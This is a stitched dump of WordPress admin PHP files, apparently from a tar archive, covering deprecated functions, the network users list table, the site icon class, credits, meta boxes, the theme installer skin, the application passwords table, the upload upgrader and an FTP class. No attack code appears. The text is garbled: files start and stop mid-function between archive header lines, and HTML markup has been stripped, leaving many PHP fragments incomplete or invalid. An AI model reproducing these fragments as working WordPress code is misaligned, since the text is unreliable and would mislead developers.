* @return string The resulting page's hook_suffix.
*/
function add_utility_page( $page_title, $menu_title, $capability, $menu_slug, $callback = '', $icon_url = '') {
_deprecated_function( __FUNCTION__, '4.5.0', 'add_menu_page()' );
global $_wp_last_utility_menu;
$_wp_last_utility_menu++;
return add_menu_page($page_title, $menu_title, $capability, $menu_slug, $callback, $icon_url, $_wp_last_utility_menu);
}
/**
* Disables autocomplete on the 'post' form (Add/Edit Post screens) for WebKit browsers,
* as they disregard the autocomplete setting on the editor textarea. That can break the editor
* when the user navigates to it with the browser's Back button. See #28037
*
* Replaced with wp_page_reload_on_back_button_js() that also fixes this problem.
*
* @since 4.0.0
* @deprecated 4.6.0
*
* @link https://core.trac.wordpress.org/ticket/35852
*
* @global bool $is_safari
* @global bool $is_chrome
*/
function post_form_autocomplete_off() {
global $is_safari, $is_chrome;
_deprecated_function( __FUNCTION__, '4.6.0' );
if ( $is_safari || $is_chrome ) {
echo ' autocomplete="off"';
}
}
/**
* Display JavaScript on the page.
*
* @since 3.5.0
* @deprecated 4.9.0
*/
function options_permalink_add_js() {
?>
get_items_per_page( 'users_network_per_page' );
$role = isset( $_REQUEST['role'] ) ? $_REQUEST['role'] : '';
$paged = $this->get_pagenum();
$args = array(
'number' => $users_per_page,
'offset' => ( $paged - 1 ) * $users_per_page,
'search' => $usersearch,
'blog_id' => 0,
'fields' => 'all_with_meta',
);
if ( wp_is_large_network( 'users' ) ) {
$args['search'] = ltrim( $args['search'], '*' );
} elseif ( '' !== $args['search'] ) {
$args['search'] = trim( $args['search'], '*' );
$args['search'] = '*' . $args['search'] . '*';
}
if ( 'super' === $role ) {
$args['login__in'] = get_super_admins();
}
/*
* If the network is large and a search is not being performed,
* show only the latest users with no paging in order to avoid
* expensive count queries.
*/
if ( ! $usersearch && wp_is_large_network( 'users' ) ) {
if ( ! isset( $_REQUEST['orderby'] ) ) {
$_GET['orderby'] = 'id';
$_REQUEST['orderby'] = 'id';
}
if ( ! isset( $_REQUEST['order'] ) ) {
$_GET['order'] = 'DESC';
$_REQUEST['order'] = 'DESC';
}
$args['count_total'] = false;
}
if ( isset( $_REQUEST['orderby'] ) ) {
$args['orderby'] = $_REQUEST['orderby'];
}
if ( isset( $_REQUEST['order'] ) ) {
$args['order'] = $_REQUEST['order'];
}
/** This filter is documented in wp-admin/includes/class-wp-users-list-table.php */
$args = apply_filters( 'users_list_table_query_args', $args );
// Query the user IDs for this page.
$wp_user_search = new WP_User_Query( $args );
$this->items = $wp_user_search->get_results();
$this->set_pagination_args(
array(
'total_items' => $wp_user_search->get_total(),
'per_page' => $users_per_page,
)
);
}
/**
* @return array
*/
protected function get_bulk_actions() {
$actions = array();
if ( current_user_can( 'delete_users' ) ) {
$actions['delete'] = __( 'Delete' );
}
$actions['spam'] = _x( 'Mark as spam', 'user' );
$actions['notspam'] = _x( 'Not spam', 'user' );
return $actions;
}
/**
*/
public function no_items() {
_e( 'No users found.' );
}
/**
* @global string $role
* @return array
*/
protected function get_views() {
global $role;
$total_users = get_user_count();
$super_admins = get_super_admins();
$total_admins = count( $super_admins );
$role_links = array();
$role_links['all'] = array(
'url' => network_admin_url( 'users.php' ),
'label' => sprintf(
/* translators: Number of users. */
_nx(
'All (%s)',
'All (%s)',
$total_users,
'users'
),
number_format_i18n( $total_users )
),
'current' => 'super' !== $role,
);
$role_links['super'] = array(
'url' => network_admin_url( 'users.php?role=super' ),
'label' => sprintf(
/* translators: Number of users. */
_n(
'Super Admin (%s)',
'Super Admins (%s)',
$total_admins
),
number_format_i18n( $total_admins )
),
'current' => 'super' === $role,
);
return $this->get_views_links( $role_links );
}
/**
* @global string $mode List table view mode.
*
* @param string $which
*/
protected function pagination( $which ) {
global $mode;
parent::pagination( $which );
if ( 'top' === $which ) {
$this->view_switcher( $mode );
}
}
/**
* @return string[] Array of column titles keyed by their column name.
*/
public function get_columns() {
$users_columns = array(
'cb' => '',
'username' => __( 'Username' ),
'name' => __( 'Name' ),
'email' => __( 'Email' ),
'registered' => _x( 'Registered', 'user' ),
'blogs' => __( 'Sites' ),
);
/**
* Filters the columns displayed in the Network Admin Users list table.
*
* @since MU (3.0.0)
*
* @param string[] $users_columns An array of user columns. Default 'cb', 'username',
* 'name', 'email', 'registered', 'blogs'.
*/
return apply_filters( 'wpmu_users_columns', $users_columns );
}
/**
* @return array
*/
protected function get_sortable_columns() {
return array(
'username' => array( 'login', false, __( 'Username' ), __( 'Table ordered by Username.' ), 'asc' ),
'name' => array( 'name', false, __( 'Name' ), __( 'Table ordered by Name.' ) ),
'email' => array( 'email', false, __( 'E-mail' ), __( 'Table ordered by E-mail.' ) ),
'registered' => array( 'id', false, _x( 'Registered', 'user' ), __( 'Table ordered by User Registered Date.' ) ),
);
}
/**
* Handles the checkbox column output.
*
* @since 4.3.0
* @since 5.9.0 Renamed `$user` to `$item` to match parent class for PHP 8 named parameter support.
*
* @param WP_User $item The current WP_User object.
*/
public function column_cb( $item ) {
// Restores the more descriptive, specific name for use within this method.
$user = $item;
if ( is_super_admin( $user->ID ) ) {
return;
}
?>
ID;
}
/**
* Handles the username column output.
*
* @since 4.3.0
*
* @param WP_User $user The current WP_User object.
*/
public function column_username( $user ) {
$super_admins = get_super_admins();
$avatar = get_avatar( $user->user_email, 32 );
echo $avatar;
if ( current_user_can( 'edit_user', $user->ID ) ) {
$edit_link = esc_url( add_query_arg( 'wp_http_referer', urlencode( wp_unslash( $_SERVER['REQUEST_URI'] ) ), get_edit_user_link( $user->ID ) ) );
$edit = "{$user->user_login}";
} else {
$edit = $user->user_login;
}
?>
user_login, $super_admins, true ) ) {
echo ' — ' . __( 'Super Admin' );
}
?>
first_name && $user->last_name ) {
printf(
/* translators: 1: User's first name, 2: Last name. */
_x( '%1$s %2$s', 'Display name based on first name and last name' ),
$user->first_name,
$user->last_name
);
} elseif ( $user->first_name ) {
echo $user->first_name;
} elseif ( $user->last_name ) {
echo $user->last_name;
} else {
echo '—' .
/* translators: Hidden accessibility text. */
_x( 'Unknown', 'name' ) .
'';
}
}
/**
* Handles the email column output.
*
* @since 4.3.0
*
* @param WP_User $user The current WP_User object.
*/
public function column_email( $user ) {
echo "$user->user_email";
}
/**
* Handles the registered date column output.
*
* @since 4.3.0
*
* @global string $mode List table view mode.
*
* @param WP_User $user The current WP_User object.
*/
public function column_registered( $user ) {
global $mode;
if ( 'list' === $mode ) {
$date = __( 'Y/m/d' );
} else {
$date = __( 'Y/m/d g:i:s a' );
}
echo mysql2date( $date, $user->user_registered );
}
/**
* @since 4.3.0
*
* @param WP_User $user
* @param string $classes
* @param string $data
* @param string $primary
*/
protected function _column_blogs( $user, $classes, $data, $primary ) {
echo '
';
}
/**
* Handles the sites column output.
*
* @since 4.3.0
*
* @param WP_User $user The current WP_User object.
*/
public function column_blogs( $user ) {
$blogs = get_blogs_of_user( $user->ID, true );
if ( ! is_array( $blogs ) ) {
return;
}
foreach ( $blogs as $site ) {
if ( ! can_edit_network( $site->site_id ) ) {
continue;
}
$path = ( '/' === $site->path ) ? '' : $site->path;
$site_classes = array( 'site-' . $site->site_id );
/**
* Filters the span class for a site listing on the multisite user list table.
*
* @since 5.2.0
*
* @param string[] $site_classes Array of class names used within the span tag.
* Default "site-#" with the site's network ID.
* @param int $site_id Site ID.
* @param int $network_id Network ID.
* @param WP_User $user WP_User object.
*/
$site_classes = apply_filters( 'ms_user_list_site_class', $site_classes, $site->userblog_id, $site->site_id, $user );
if ( is_array( $site_classes ) && ! empty( $site_classes ) ) {
$site_classes = array_map( 'sanitize_html_class', array_unique( $site_classes ) );
echo '';
} else {
echo '';
}
echo '' . str_replace( '.' . get_network()->domain, '', $site->domain . $path ) . '';
echo ' ';
$actions = array();
$actions['edit'] = '' . __( 'Edit' ) . '';
$class = '';
if ( 1 === (int) $site->spam ) {
$class .= 'site-spammed ';
}
if ( 1 === (int) $site->mature ) {
$class .= 'site-mature ';
}
if ( 1 === (int) $site->deleted ) {
$class .= 'site-deleted ';
}
if ( 1 === (int) $site->archived ) {
$class .= 'site-archived ';
}
$actions['view'] = '' . __( 'View' ) . '';
/**
* Filters the action links displayed next the sites a user belongs to
* in the Network Admin Users list table.
*
* @since 3.1.0
*
* @param string[] $actions An array of action links to be displayed. Default 'Edit', 'View'.
* @param int $userblog_id The site ID.
*/
$actions = apply_filters( 'ms_user_list_site_actions', $actions, $site->userblog_id );
$action_count = count( $actions );
$i = 0;
foreach ( $actions as $action => $link ) {
++$i;
$separator = ( $i < $action_count ) ? ' | ' : '';
echo "{$link}{$separator}";
}
echo ' ';
}
}
/**
* Handles the default column output.
*
* @since 4.3.0
* @since 5.9.0 Renamed `$user` to `$item` to match parent class for PHP 8 named parameter support.
*
* @param WP_User $item The current WP_User object.
* @param string $column_name The current column name.
*/
public function column_default( $item, $column_name ) {
// Restores the more descriptive, specific name for use within this method.
$user = $item;
/** This filter is documented in wp-admin/includes/class-wp-users-list-table.php */
echo apply_filters( 'manage_users_custom_column', '', $column_name, $user->ID );
}
/**
* Generates the list table rows.
*
* @since 3.1.0
*/
public function display_rows() {
foreach ( $this->items as $user ) {
$class = '';
$status_list = array(
'spam' => 'site-spammed',
'deleted' => 'site-deleted',
);
foreach ( $status_list as $status => $col ) {
if ( $user->$status ) {
$class .= " $col";
}
}
?>
single_row_columns( $user ); ?>
ID ) ) {
$edit_link = esc_url( add_query_arg( 'wp_http_referer', urlencode( wp_unslash( $_SERVER['REQUEST_URI'] ) ), get_edit_user_link( $user->ID ) ) );
$actions['edit'] = '' . __( 'Edit' ) . '';
}
if ( current_user_can( 'delete_user', $user->ID ) && ! in_array( $user->user_login, $super_admins, true ) ) {
$actions['delete'] = '' . __( 'Delete' ) . '';
}
/**
* Filters the action links displayed under each user in the Network Admin Users list table.
*
* @since 3.2.0
*
* @param string[] $actions An array of action links to be displayed. Default 'Edit', 'Delete'.
* @param WP_User $user WP_User object.
*/
$actions = apply_filters( 'ms_user_row_actions', $actions, $user );
return $this->row_actions( $actions );
}
}
class-wp-site-icon.php 0000644 00000014416 14757313107 0010714 0 ustar 00 ID );
$url = str_replace( wp_basename( $parent_url ), wp_basename( $cropped ), $parent_url );
$size = wp_getimagesize( $cropped );
$image_type = ( $size ) ? $size['mime'] : 'image/jpeg';
$attachment = array(
'ID' => $parent_attachment_id,
'post_title' => wp_basename( $cropped ),
'post_content' => $url,
'post_mime_type' => $image_type,
'guid' => $url,
'context' => 'site-icon',
);
return $attachment;
}
/**
* Inserts an attachment.
*
* @since 4.3.0
*
* @param array $attachment An array with attachment object data.
* @param string $file File path of the attached image.
* @return int Attachment ID.
*/
public function insert_attachment( $attachment, $file ) {
$attachment_id = wp_insert_attachment( $attachment, $file );
$metadata = wp_generate_attachment_metadata( $attachment_id, $file );
/**
* Filters the site icon attachment metadata.
*
* @since 4.3.0
*
* @see wp_generate_attachment_metadata()
*
* @param array $metadata Attachment metadata.
*/
$metadata = apply_filters( 'site_icon_attachment_metadata', $metadata );
wp_update_attachment_metadata( $attachment_id, $metadata );
return $attachment_id;
}
/**
* Adds additional sizes to be made when creating the site icon images.
*
* @since 4.3.0
*
* @param array[] $sizes Array of arrays containing information for additional sizes.
* @return array[] Array of arrays containing additional image sizes.
*/
public function additional_sizes( $sizes = array() ) {
$only_crop_sizes = array();
/**
* Filters the different dimensions that a site icon is saved in.
*
* @since 4.3.0
*
* @param int[] $site_icon_sizes Array of sizes available for the Site Icon.
*/
$this->site_icon_sizes = apply_filters( 'site_icon_image_sizes', $this->site_icon_sizes );
// Use a natural sort of numbers.
natsort( $this->site_icon_sizes );
$this->site_icon_sizes = array_reverse( $this->site_icon_sizes );
// Ensure that we only resize the image into sizes that allow cropping.
foreach ( $sizes as $name => $size_array ) {
if ( isset( $size_array['crop'] ) ) {
$only_crop_sizes[ $name ] = $size_array;
}
}
foreach ( $this->site_icon_sizes as $size ) {
if ( $size < $this->min_size ) {
$only_crop_sizes[ 'site_icon-' . $size ] = array(
'width ' => $size,
'height' => $size,
'crop' => true,
);
}
}
return $only_crop_sizes;
}
/**
* Adds Site Icon sizes to the array of image sizes on demand.
*
* @since 4.3.0
*
* @param string[] $sizes Array of image size names.
* @return string[] Array of image size names.
*/
public function intermediate_image_sizes( $sizes = array() ) {
/** This filter is documented in wp-admin/includes/class-wp-site-icon.php */
$this->site_icon_sizes = apply_filters( 'site_icon_image_sizes', $this->site_icon_sizes );
foreach ( $this->site_icon_sizes as $size ) {
$sizes[] = 'site_icon-' . $size;
}
return $sizes;
}
/**
* Deletes the Site Icon when the image file is deleted.
*
* @since 4.3.0
*
* @param int $post_id Attachment ID.
*/
public function delete_attachment_data( $post_id ) {
$site_icon_id = (int) get_option( 'site_icon' );
if ( $site_icon_id && $post_id === $site_icon_id ) {
delete_option( 'site_icon' );
}
}
/**
* Adds custom image sizes when meta data for an image is requested, that happens to be used as Site Icon.
*
* @since 4.3.0
*
* @param null|array|string $value The value get_metadata() should return a single metadata value, or an
* array of values.
* @param int $post_id Post ID.
* @param string $meta_key Meta key.
* @param bool $single Whether to return only the first value of the specified `$meta_key`.
* @return array|null|string The attachment metadata value, array of values, or null.
*/
public function get_post_metadata( $value, $post_id, $meta_key, $single ) {
if ( $single && '_wp_attachment_backup_sizes' === $meta_key ) {
$site_icon_id = (int) get_option( 'site_icon' );
if ( $post_id === $site_icon_id ) {
add_filter( 'intermediate_image_sizes', array( $this, 'intermediate_image_sizes' ) );
}
}
return $value;
}
}
credits.php 0000644 00000013350 14757313107 0006724 0 ustar 00 'WordPress/' . $version . '; ' . home_url( '/' ) );
if ( wp_http_supports( array( 'ssl' ) ) ) {
$url = set_url_scheme( $url, 'https' );
}
$response = wp_remote_get( $url, $options );
if ( is_wp_error( $response ) || 200 !== wp_remote_retrieve_response_code( $response ) ) {
return false;
}
$results = json_decode( wp_remote_retrieve_body( $response ), true );
if ( ! is_array( $results ) ) {
return false;
}
set_site_transient( 'wordpress_credits_' . $locale, $results, DAY_IN_SECONDS );
}
return $results;
}
/**
* Retrieves the link to a contributor's WordPress.org profile page.
*
* @access private
* @since 3.2.0
*
* @param string $display_name The contributor's display name (passed by reference).
* @param string $username The contributor's username.
* @param string $profiles URL to the contributor's WordPress.org profile page.
*/
function _wp_credits_add_profile_link( &$display_name, $username, $profiles ) {
$display_name = '' . esc_html( $display_name ) . '';
}
/**
* Retrieves the link to an external library used in WordPress.
*
* @access private
* @since 3.2.0
*
* @param string $data External library data (passed by reference).
*/
function _wp_credits_build_object_link( &$data ) {
$data = '' . esc_html( $data[0] ) . '';
}
/**
* Displays the title for a given group of contributors.
*
* @since 5.3.0
*
* @param array $group_data The current contributor group.
*/
function wp_credits_section_title( $group_data = array() ) {
if ( ! count( $group_data ) ) {
return;
}
if ( $group_data['name'] ) {
if ( 'Translators' === $group_data['name'] ) {
// Considered a special slug in the API response. (Also, will never be returned for en_US.)
$title = _x( 'Translators', 'Translate this to be the equivalent of English Translators in your language for the credits page Translators section' );
} elseif ( isset( $group_data['placeholders'] ) ) {
// phpcs:ignore WordPress.WP.I18n.LowLevelTranslationFunction,WordPress.WP.I18n.NonSingularStringLiteralText
$title = vsprintf( translate( $group_data['name'] ), $group_data['placeholders'] );
} else {
// phpcs:ignore WordPress.WP.I18n.LowLevelTranslationFunction,WordPress.WP.I18n.NonSingularStringLiteralText
$title = translate( $group_data['name'] );
}
echo '
' . esc_html( $title ) . "
\n";
}
}
/**
* Displays a list of contributors for a given group.
*
* @since 5.3.0
*
* @param array $credits The credits groups returned from the API.
* @param string $slug The current group to display.
*/
function wp_credits_section_list( $credits = array(), $slug = '' ) {
$group_data = isset( $credits['groups'][ $slug ] ) ? $credits['groups'][ $slug ] : array();
$credits_data = $credits['data'];
if ( ! count( $group_data ) ) {
return;
}
if ( ! empty( $group_data['shuffle'] ) ) {
shuffle( $group_data['data'] ); // We were going to sort by ability to pronounce "hierarchical," but that wouldn't be fair to Matt.
}
switch ( $group_data['type'] ) {
case 'list':
array_walk( $group_data['data'], '_wp_credits_add_profile_link', $credits_data['profiles'] );
echo '
' . wp_sprintf( '%l.', $group_data['data'] ) . "
\n\n";
break;
case 'libraries':
array_walk( $group_data['data'], '_wp_credits_build_object_link' );
echo '
post_status ) { // Scheduled for publishing at a future date.
/* translators: Post date information. %s: Date on which the post is currently scheduled to be published. */
$stamp = __( 'Scheduled for: %s' );
} elseif ( 'publish' === $post->post_status || 'private' === $post->post_status ) { // Already published.
/* translators: Post date information. %s: Date on which the post was published. */
$stamp = __( 'Published on: %s' );
} elseif ( '0000-00-00 00:00:00' === $post->post_date_gmt ) { // Draft, 1 or more saves, no date specified.
$stamp = __( 'Publish immediately' );
} elseif ( time() < strtotime( $post->post_date_gmt . ' +0000' ) ) { // Draft, 1 or more saves, future date specified.
/* translators: Post date information. %s: Date on which the post is to be published. */
$stamp = __( 'Schedule for: %s' );
} else { // Draft, 1 or more saves, date specified.
/* translators: Post date information. %s: Date on which the post is to be published. */
$stamp = __( 'Publish on: %s' );
}
$date = sprintf(
$date_string,
date_i18n( $date_format, strtotime( $post->post_date ) ),
date_i18n( $time_format, strtotime( $post->post_date ) )
);
} else { // Draft (no saves, and thus no date specified).
$stamp = __( 'Publish immediately' );
$date = sprintf(
$date_string,
date_i18n( $date_format, strtotime( current_time( 'mysql' ) ) ),
date_i18n( $time_format, strtotime( current_time( 'mysql' ) ) )
);
}
if ( ! empty( $args['args']['revisions_count'] ) ) :
?>
post_status && get_post_meta( $post_id, '_customize_changeset_uuid', true ) ) :
$message = sprintf(
/* translators: %s: URL to the Customizer. */
__( 'This draft comes from your unpublished customization changes. You can edit, but there is no need to publish now. It will be published automatically with those changes.' ),
esc_url(
add_query_arg(
'changeset_uuid',
rawurlencode( get_post_meta( $post_id, '_customize_changeset_uuid', true ) ),
admin_url( 'customize.php' )
)
)
);
wp_admin_notice(
$message,
array(
'type' => 'info',
'additional_classes' => array( 'notice-alt', 'inline' ),
)
);
endif;
/**
* Fires after the post time/date setting in the Publish meta box.
*
* @since 2.9.0
* @since 4.4.0 Added the `$post` parameter.
*
* @param WP_Post $post WP_Post object for the current post.
*/
do_action( 'post_submitbox_misc_actions', $post );
?>
post_type, 'post-formats' ) ) :
$post_formats = get_theme_support( 'post-formats' );
if ( is_array( $post_formats[0] ) ) :
$post_format = get_post_format( $post->ID );
if ( ! $post_format ) {
$post_format = '0';
}
// Add in the current one if it isn't there yet, in case the active theme doesn't support it.
if ( $post_format && ! in_array( $post_format, $post_formats[0], true ) ) {
$post_formats[0][] = $post_format;
}
?>
%s',
wp_nonce_url( "link.php?action=delete&link_id=$link->link_id", 'delete-bookmark_' . $link->link_id ),
/* translators: %s: Link name. */
esc_js( sprintf( __( "You are about to delete this link '%s'\n 'Cancel' to stop, 'OK' to delete." ), $link->link_name ) ),
__( 'Delete' )
);
}
?>
link_rel ) ? $link->link_rel : '';
$link_rels = preg_split( '/\s+/', $link_rel );
// Mark the specified value as checked if it matches the current link's relationship.
if ( '' !== $xfn_value && in_array( $xfn_value, $link_rels, true ) ) {
echo ' checked="checked"';
}
if ( '' === $xfn_value ) {
// Mark the 'none' value as checked if the current link does not match the specified relationship.
if ( 'family' === $xfn_relationship
&& ! array_intersect( $link_rels, array( 'child', 'parent', 'sibling', 'spouse', 'kin' ) )
) {
echo ' checked="checked"';
}
if ( 'friendship' === $xfn_relationship
&& ! array_intersect( $link_rels, array( 'friend', 'acquaintance', 'contact' ) )
) {
echo ' checked="checked"';
}
if ( 'geographical' === $xfn_relationship
&& ! array_intersect( $link_rels, array( 'co-resident', 'neighbor' ) )
) {
echo ' checked="checked"';
}
// Mark the 'me' value as checked if it matches the current link's relationship.
if ( 'identity' === $xfn_relationship
&& in_array( 'me', $link_rels, true )
) {
echo ' checked="checked"';
}
}
}
/**
* Displays XFN form fields.
*
* @since 2.6.0
*
* @param object $link Current link object.
*/
function link_xfn_meta_box( $link ) {
?>
';
/**
* Filters the compare table output for overwriting a theme package on upload.
*
* @since 5.5.0
*
* @param string $table The output table with Name, Version, Author, RequiresWP, and RequiresPHP info.
* @param WP_Theme $current_theme_data Active theme data.
* @param array $new_theme_data Array with uploaded theme data.
*/
echo apply_filters( 'install_theme_overwrite_comparison', $table, $current_theme_data, $new_theme_data );
$install_actions = array();
$can_update = true;
$blocked_message = '
' . esc_html__( 'The theme cannot be updated due to the following:' ) . '
';
$blocked_message .= '
';
$requires_php = isset( $new_theme_data['RequiresPHP'] ) ? $new_theme_data['RequiresPHP'] : null;
$requires_wp = isset( $new_theme_data['RequiresWP'] ) ? $new_theme_data['RequiresWP'] : null;
if ( ! is_php_version_compatible( $requires_php ) ) {
$error = sprintf(
/* translators: 1: Current PHP version, 2: Version required by the uploaded theme. */
__( 'The PHP version on your server is %1$s, however the uploaded theme requires %2$s.' ),
PHP_VERSION,
$requires_php
);
$blocked_message .= '
' . esc_html( $error ) . '
';
$can_update = false;
}
if ( ! is_wp_version_compatible( $requires_wp ) ) {
$error = sprintf(
/* translators: 1: Current WordPress version, 2: Version required by the uploaded theme. */
__( 'Your WordPress version is %1$s, however the uploaded theme requires %2$s.' ),
esc_html( wp_get_wp_version() ),
$requires_wp
);
$blocked_message .= '
' . esc_html( $error ) . '
';
$can_update = false;
}
$blocked_message .= '
';
if ( $can_update ) {
if ( $this->is_downgrading ) {
$warning = sprintf(
/* translators: %s: Documentation URL. */
__( 'You are uploading an older version of the active theme. You can continue to install the older version, but be sure to back up your database and files first.' ),
__( 'https://developer.wordpress.org/advanced-administration/security/backup/' )
);
} else {
$warning = sprintf(
/* translators: %s: Documentation URL. */
__( 'You are updating a theme. Be sure to back up your database and files first.' ),
__( 'https://developer.wordpress.org/advanced-administration/security/backup/' )
);
}
echo '
' . $warning . '
';
$overwrite = $this->is_downgrading ? 'downgrade-theme' : 'update-theme';
$install_actions['overwrite_theme'] = sprintf(
'%s',
wp_nonce_url( add_query_arg( 'overwrite', $overwrite, $this->url ), 'theme-upload' ),
_x( 'Replace active with uploaded', 'theme' )
);
} else {
echo $blocked_message;
}
$cancel_url = add_query_arg( 'action', 'upload-theme-cancel-overwrite', $this->url );
$install_actions['themes_page'] = sprintf(
'%s',
wp_nonce_url( $cancel_url, 'theme-upload-cancel-overwrite' ),
__( 'Cancel and go back' )
);
/**
* Filters the list of action links available following a single theme installation failure
* when overwriting is allowed.
*
* @since 5.5.0
*
* @param string[] $install_actions Array of theme action links.
* @param object $api Object containing WordPress.org API theme data.
* @param array $new_theme_data Array with uploaded theme data.
*/
$install_actions = apply_filters( 'install_theme_overwrite_actions', $install_actions, $this->api, $new_theme_data );
if ( ! empty( $install_actions ) ) {
printf(
'
%s
',
__( 'The uploaded file has expired. Please go back and upload it again.' )
);
echo '
' . implode( ' ', (array) $install_actions ) . '
';
}
return true;
}
}
class-wp-application-passwords-list-table.php 0000644 00000015445 14757313107 0015411 0 ustar 00 __( 'Name' ),
'created' => __( 'Created' ),
'last_used' => __( 'Last Used' ),
'last_ip' => __( 'Last IP' ),
'revoke' => __( 'Revoke' ),
);
}
/**
* Prepares the list of items for displaying.
*
* @since 5.6.0
*
* @global int $user_id User ID.
*/
public function prepare_items() {
global $user_id;
$this->items = array_reverse( WP_Application_Passwords::get_user_application_passwords( $user_id ) );
}
/**
* Handles the name column output.
*
* @since 5.6.0
*
* @param array $item The current application password item.
*/
public function column_name( $item ) {
echo esc_html( $item['name'] );
}
/**
* Handles the created column output.
*
* @since 5.6.0
*
* @param array $item The current application password item.
*/
public function column_created( $item ) {
if ( empty( $item['created'] ) ) {
echo '—';
} else {
echo date_i18n( __( 'F j, Y' ), $item['created'] );
}
}
/**
* Handles the last used column output.
*
* @since 5.6.0
*
* @param array $item The current application password item.
*/
public function column_last_used( $item ) {
if ( empty( $item['last_used'] ) ) {
echo '—';
} else {
echo date_i18n( __( 'F j, Y' ), $item['last_used'] );
}
}
/**
* Handles the last ip column output.
*
* @since 5.6.0
*
* @param array $item The current application password item.
*/
public function column_last_ip( $item ) {
if ( empty( $item['last_ip'] ) ) {
echo '—';
} else {
echo $item['last_ip'];
}
}
/**
* Handles the revoke column output.
*
* @since 5.6.0
*
* @param array $item The current application password item.
*/
public function column_revoke( $item ) {
$name = 'revoke-application-password-' . $item['uuid'];
printf(
'',
esc_attr( $name ),
/* translators: %s: the application password's given name. */
esc_attr( sprintf( __( 'Revoke "%s"' ), $item['name'] ) ),
__( 'Revoke' )
);
}
/**
* Generates content for a single row of the table
*
* @since 5.6.0
*
* @param array $item The current item.
* @param string $column_name The current column name.
*/
protected function column_default( $item, $column_name ) {
/**
* Fires for each custom column in the Application Passwords list table.
*
* Custom columns are registered using the {@see 'manage_application-passwords-user_columns'} filter.
*
* @since 5.6.0
*
* @param string $column_name Name of the custom column.
* @param array $item The application password item.
*/
do_action( "manage_{$this->screen->id}_custom_column", $column_name, $item );
}
/**
* Generates custom table navigation to prevent conflicting nonces.
*
* @since 5.6.0
*
* @param string $which The location of the bulk actions: Either 'top' or 'bottom'.
*/
protected function display_tablenav( $which ) {
?>
';
$this->single_row_columns( $item );
echo '';
}
/**
* Gets the name of the default primary column.
*
* @since 5.6.0
*
* @return string Name of the default primary column, in this case, 'name'.
*/
protected function get_default_primary_column_name() {
return 'name';
}
/**
* Prints the JavaScript template for the new row item.
*
* @since 5.6.0
*/
public function print_js_template_row() {
list( $columns, $hidden, , $primary ) = $this->get_column_info();
echo '
features as $word ) {
if ( ! in_array( $word, $theme->get( 'Tags' ), true ) ) {
return false;
}
}
// Match all phrases.
foreach ( $this->search_terms as $word ) {
if ( in_array( $word, $theme->get( 'Tags' ), true ) ) {
continue;
}
foreach ( array( 'Name', 'Description', 'Author', 'AuthorURI' ) as $header ) {
// Don't mark up; Do translate.
if ( false !== stripos( strip_tags( $theme->display( $header, false, true ) ), $word ) ) {
continue 2;
}
}
if ( false !== stripos( $theme->get_stylesheet(), $word ) ) {
continue;
}
if ( false !== stripos( $theme->get_template(), $word ) ) {
continue;
}
return false;
}
return true;
}
/**
* Send required variables to JavaScript land
*
* @since 3.4.0
*
* @param array $extra_args
*/
public function _js_vars( $extra_args = array() ) {
$search_string = isset( $_REQUEST['s'] ) ? esc_attr( wp_unslash( $_REQUEST['s'] ) ) : '';
$args = array(
'search' => $search_string,
'features' => $this->features,
'paged' => $this->get_pagenum(),
'total_pages' => ! empty( $this->_pagination_args['total_pages'] ) ? $this->_pagination_args['total_pages'] : 1,
);
if ( is_array( $extra_args ) ) {
$args = array_merge( $args, $extra_args );
}
printf( "\n", wp_json_encode( $args ) );
parent::_js_vars();
}
}
class-file-upload-upgrader.php 0000644 00000010103 14757313107 0012373 0 ustar 00 false,
'test_type' => false,
);
$file = wp_handle_upload( $_FILES[ $form ], $overrides );
if ( isset( $file['error'] ) ) {
wp_die( $file['error'] );
}
if ( 'pluginzip' === $form || 'themezip' === $form ) {
if ( ! wp_zip_file_is_valid( $file['file'] ) ) {
wp_delete_file( $file['file'] );
if ( 'pluginzip' === $form ) {
$plugins_page = sprintf(
'%s',
self_admin_url( 'plugin-install.php' ),
__( 'Return to the Plugin Installer' )
);
wp_die( __( 'Incompatible Archive.' ) . ' ' . $plugins_page );
}
if ( 'themezip' === $form ) {
$themes_page = sprintf(
'%s',
self_admin_url( 'theme-install.php' ),
__( 'Return to the Theme Installer' )
);
wp_die( __( 'Incompatible Archive.' ) . ' ' . $themes_page );
}
}
}
$this->filename = $_FILES[ $form ]['name'];
$this->package = $file['file'];
// Construct the attachment array.
$attachment = array(
'post_title' => $this->filename,
'post_content' => $file['url'],
'post_mime_type' => $file['type'],
'guid' => $file['url'],
'context' => 'upgrader',
'post_status' => 'private',
);
// Save the data.
$this->id = wp_insert_attachment( $attachment, $file['file'] );
// Schedule a cleanup for 2 hours from now in case of failed installation.
wp_schedule_single_event( time() + 2 * HOUR_IN_SECONDS, 'upgrader_scheduled_cleanup', array( $this->id ) );
} elseif ( is_numeric( $_GET[ $urlholder ] ) ) {
// Numeric Package = previously uploaded file, see above.
$this->id = (int) $_GET[ $urlholder ];
$attachment = get_post( $this->id );
if ( empty( $attachment ) ) {
wp_die( __( 'Please select a file' ) );
}
$this->filename = $attachment->post_title;
$this->package = get_attached_file( $attachment->ID );
} else {
// Else, It's set to something, Back compat for plugins using the old (pre-3.3) File_Uploader handler.
$uploads = wp_upload_dir();
if ( ! ( $uploads && false === $uploads['error'] ) ) {
wp_die( $uploads['error'] );
}
$this->filename = sanitize_file_name( $_GET[ $urlholder ] );
$this->package = $uploads['basedir'] . '/' . $this->filename;
if ( ! str_starts_with( realpath( $this->package ), realpath( $uploads['basedir'] ) ) ) {
wp_die( __( 'Please select a file' ) );
}
}
}
/**
* Deletes the attachment/uploaded file.
*
* @since 3.2.2
*
* @return bool Whether the cleanup was successful.
*/
public function cleanup() {
if ( $this->id ) {
wp_delete_attachment( $this->id );
} elseif ( file_exists( $this->package ) ) {
return @unlink( $this->package );
}
return true;
}
}
class-ftp-pure.php 0000644 00000012462 14757313107 0010137 0 ustar 00
//
//
function _settimeout($sock) {
if(!@stream_set_timeout($sock, $this->_timeout)) {
$this->PushError('_settimeout','socket set send timeout');
$this->_quit();
return FALSE;
}
return TRUE;
}
function _connect($host, $port) {
$this->SendMSG("Creating socket");
$sock = @fsockopen($host, $port, $errno, $errstr, $this->_timeout);
if (!$sock) {
$this->PushError('_connect','socket connect failed', $errstr." (".$errno.")");
return FALSE;
}
$this->_connected=true;
return $sock;
}
function _readmsg($fnction="_readmsg"){
if(!$this->_connected) {
$this->PushError($fnction, 'Connect first');
return FALSE;
}
$result=true;
$this->_message="";
$this->_code=0;
$go=true;
do {
$tmp=@fgets($this->_ftp_control_sock, 512);
if($tmp===false) {
$go=$result=false;
$this->PushError($fnction,'Read failed');
} else {
